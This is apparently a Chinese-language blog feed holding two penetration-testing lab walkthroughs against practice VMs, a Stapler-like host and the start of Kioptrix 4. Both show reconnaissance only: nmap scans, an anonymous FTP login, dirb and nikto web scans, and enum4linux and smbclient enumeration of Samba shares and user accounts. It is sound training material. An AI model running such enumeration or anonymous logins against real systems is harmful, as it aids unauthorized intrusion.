2 6.12 ms 192.168.44.227
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.59 seconds
Segmentation fault
簡單比較一下這兩個指令,可以掃到的port的差別:
nmap -A -T4
port: 20 21 22 53 80 139 666 3306
nmap -sS -sV -T5 -A -p-
port: 20 21 22 53 80 123 137 138 139 666 3306 12380
可以發現多掃出了123, 137, 138, 12380等port的開啟。
容易受到攻擊的端口:FTP(21 port)、NetBIOS、、MySQL和Web服務器(Apache HTTPD)的端口12380等等。
剛剛的nmap的掃瞄結果,針對ftp有這一行:
ftp-anon: Anonymous FTP login allowed (FTP code 230)
代表可以匿名不用密碼。趕快來試試看:
$ ftp 192.168.44.227
Connected to 192.168.44.227.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.44.227:nathan): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
問Name的時候用Anonymous,問Password時直接按Enter即可登入。接下來從這個協議找找線索:
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
發現有一個note,把它下載下來:
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
100% |********************************| 107 32.44 KiB/s 00:00 ETA
226 Transfer complete.
107 bytes received in 00:00 (25.61 KiB/s)
接下來在本機的根目錄看:
──(kali㉿kali)-[~]
└─$ ls
10.c Documents Music ptrace target_machine
47080.c Downloads note ptrace-kmod.c Templates
Desktop kipotrix_1.1 Pictures Public Videos
┌──(kali㉿kali)-[~]
└─$ cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
線索: Elly跟John兩個用戶名。
因為有80 port,所以用dirb跟nikto掃:
$ dirb http://192.168.44.227
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Oct 31 17:37:24 2022
URL_BASE: http://192.168.44.227/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.44.227/ ----
+ http://192.168.44.227/.bashrc (CODE:200|SIZE:3771)
+ http://192.168.44.227/.profile (CODE:200|SIZE:675)
-----------------
END_TIME: Mon Oct 31 17:39:12 2022
DOWNLOADED: 4612 - FOUND: 2
$ nikto -h http://192.168.44.227
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.227
+ Target Hostname: 192.168.44.227
+ Target Port: 80
+ Start Time: 2022-10-31 17:39:25 (GMT8)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ ERROR: Error limit (20) reached for host, giving up. Last error:
+ Scan terminated: 17 error(s) and 5 item(s) reported on remote host
+ End Time: 2022-10-31 17:41:55 (GMT8) (150 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
總之就是.bashrc跟.profile,內容如下:
bashrc:
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
# append to the history file, don't overwrite it
shopt -s histappend
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar
# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi
# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
xterm-color|*-256color) color_prompt=yes;;
esac
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi
if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
;;
*)
;;
esac
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
profile:
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH="$HOME/bin:$PATH"
fi
感覺沒有什麼東西。
samba的偵查有好幾種工具可用,詳細可參見這篇[第8天]偵查-Samba - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天。總之,能夠使用的工具有enum4linux、smbmap、smbclient、
$ smbclient -L 192.168.44.227
Password for [WORKGROUP\nathan]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RED
$ enum4linux 192.168.44.227
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Nov 1 09:13:11 2022
=========================================( Target Information )=========================================
Target ........... 192.168.44.227
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 192.168.44.227 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 192.168.44.227 )===============================
Looking up status of 192.168.44.227
RED <00> - H <ACTIVE> Workstation Service
RED <03> - H <ACTIVE> Messenger Service
RED <20> - H <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> H <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> H <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - H <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> H <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 192.168.44.227 )==================================
[+] Server 192.168.44.227 allows sessions using username '', password ''
===============================( Getting domain SID for 192.168.44.227 )===============================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 192.168.44.227 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.44.227 from srvinfo:
RED Wk Sv PrQ Unx NT SNT red server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
======================================( Users on 192.168.44.227 )======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
================================( Share Enumeration on 192.168.44.227 )================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RED
[+] Attempting to map shares on 192.168.44.227
//192.168.44.227/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.44.227/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.44.227/tmp Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.44.227/IPC$ Mapping: N/A Listing: N/A Writing: N/A
===========================( Password Policy Information for 192.168.44.227 )===========================
[+] Attaching to 192.168.44.227 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] RED
[+] Builtin
[+] Password Info for Domain: RED
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
======================================( Groups on 192.168.44.227 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=================( Users on 192.168.44.227 via RID cycling (RIDS: 500-550,1000-1050) )=================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
==============================( Getting printer info for 192.168.44.227 )==============================
No printers returned.
enum4linux complete on Tue Nov 1 09:13:49 2022
enum4linux列出來的使用者名稱值得注意:
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
看起來kathy跟tmp好像很活躍。
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP RED
[+] Attempting to map shares on 192.168.44.227
//192.168.44.227/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.44.227/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.44.227/tmp Mapping: OK Listing: OK Writing: N/A
接下來偵查samba裡面到底有什麼東西:
└─$ smbclient //NATHAN/kathy -I 192.168.44.227 -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jun 4 00:52:52 2016
.. D 0 Tue Jun 7 05:39:56 2016
kathy_stuff D 0 Sun Jun 5 23:02:27 2016
backup D 0 Sun Jun 5 23:04:14 2016
19478204 blocks of size 1024. 16395080 blocks available
smb: \> cd kathy_stuff
smb: \kathy_stuff\> ls
. D 0 Sun Jun 5 23:02:27 2016
.. D 0 Sat Jun 4 00:52:52 2016
todo-list.txt N 64 Sun Jun 5 23:02:27 2016
19478204 blocks of size 1024. 16395076 blocks available
smb: \kathy_stuff\> get todo-list.txt
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \kathy_stuff\> cd ..
smb: \> cd backup
smb: \backup\> ls
. D 0 Sun Jun 5 23:04:14 2016
.. D 0 Sat Jun 4 00:52:52 2016
vsftpd.conf N 5961 Sun Jun 5 23:03:45 2016
wordpress-4.tar.gz N 6321767 Tue Apr 28 01:14:46 2015
19478204 blocks of size 1024. 16395076 blocks available
smb: \backup\> get vsftpd.conf
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \backup\> get wordpress-4.tar.gz
parallel_read returned NT_STATUS_IO_TIMEOUT
解釋一下,//NATHAN/kathy
的NATHAN是server,kathy是在這server託管的。NATHAN是enum4linux上列出來的名字,kathy則是本來就有興趣的帳戶。
上面的步驟,把todo-list.txt 、vsftpd.conf跟wordpress-4.tar.gz給載了下來。
todo-list.txt:
$ cat todo-list.txt
I'm making sure to backup anything important for Initech, Kathy
vsftpd.conf:
$ cat vsftpd.conf
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone? vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES
anon_root=/var/ftp/anonymous
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
#write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
#local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
#anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in your local time zone. The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
#chown_uploads=YES
#chown_username=whoever
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
banner_file=/etc/vsftpd.banner
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories. See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
userlist_enable=YES
local_root=/etc
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
#chroot_local_user=YES
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty. Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
#utf8_filesystem=YES
pasv_enable=no
好像也沒什麼有用的資訊...
]]>首先,下載下來的靶機缺vmx檔,無法用vmware開啟,乾脆用KIOPTRIX:LEVEL 1.2 (#3)的vmx檔改一改。在解壓縮後的目錄裡,新增Kioptrix4_vmware.vmx
,內容如下:
.encoding = "windows-1252"
config.version = "8"
virtualHW.version = "4"
memsize = "512"
MemAllowAutoScaleDown = "FALSE"
displayName = "KioptrixVM3"
guestOS = "other"
ethernet0.addressType = "generated"
ethernet0.connectionType = "nat"
ide0:0.present = "TRUE"
ide0:0.fileName = "Kioptrix4_vmware.vmdk"
ide1:0.present = "TRUE"
ide1:0.autodetect = "TRUE"
ide1:0.filename = "auto detect"
ide1:0.deviceType = "cdrom-raw"
virtualHW.productCompatibility = "hosted"
numa.autosize.cookie = "10001"
numa.autosize.vcpu.maxPerVirtualNode = "1"
uuid.bios = "56 4d ae 69 93 19 55 ff-ec f1 b6 26 b7 b4 17 66"
uuid.location = "56 4d ae 69 93 19 55 ff-ec f1 b6 26 b7 b4 17 66"
ide0:0.redo = ""
svga.vramSize = "134217728"
vmotion.checkpointFBSize = "134217728"
ethernet0.generatedAddressOffset = "0"
monitor.phys_bits_used = "36"
cleanShutdown = "TRUE"
softPowerOff = "FALSE"
tools.syncTime = "FALSE"
ethernet0.present = "TRUE"
ethernet0.generatedAddress = "00:0c:29:b4:17:66"
toolsInstallManager.updateCounter = "1"
checkpoint.vmState = ""
extendedConfigFile = "Kioptrix4_vmware.vmxf"
掃描開啟port:
$ nmap -A -T4 192.168.44.132
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-24 21:03 CST
Nmap scan report for 192.168.44.132
Host is up (0.00058s latency).
Not shown: 566 closed tcp ports (conn-refused), 430 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 9h59m59s, deviation: 2h49m42s, median: 7h59m59s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2022-10-24T17:03:39-04:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 seconds
Segmentation fault
$ nikto -host 192.168.44.132
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.132
+ Target Hostname: 192.168.44.132
+ Target Port: 80
+ Start Time: 2022-10-24 21:09:33 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 98933, size: 5108, mtime: Tue Aug 28 18:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ Cookie PHPSESSID created without the httponly flag
+ 8724 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2022-10-24 21:09:45 (GMT8) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
看到是80 port,就先登進網頁。
接下來爆破目錄,用dirb。
$ dirb http://192.168.44.132
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Oct 24 21:46:15 2022
URL_BASE: http://192.168.44.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.44.132/ ----
+ http://192.168.44.132/cgi-bin/ (CODE:403|SIZE:329)
==> DIRECTORY: http://192.168.44.132/images/
+ http://192.168.44.132/index (CODE:200|SIZE:1255)
+ http://192.168.44.132/index.php (CODE:200|SIZE:1255)
==> DIRECTORY: http://192.168.44.132/john/
+ http://192.168.44.132/logout (CODE:302|SIZE:0)
+ http://192.168.44.132/member (CODE:302|SIZE:220)
+ http://192.168.44.132/server-status (CODE:403|SIZE:334)
---- Entering directory: http://192.168.44.132/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.44.132/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
可以發現有一個john,實際連進去後:
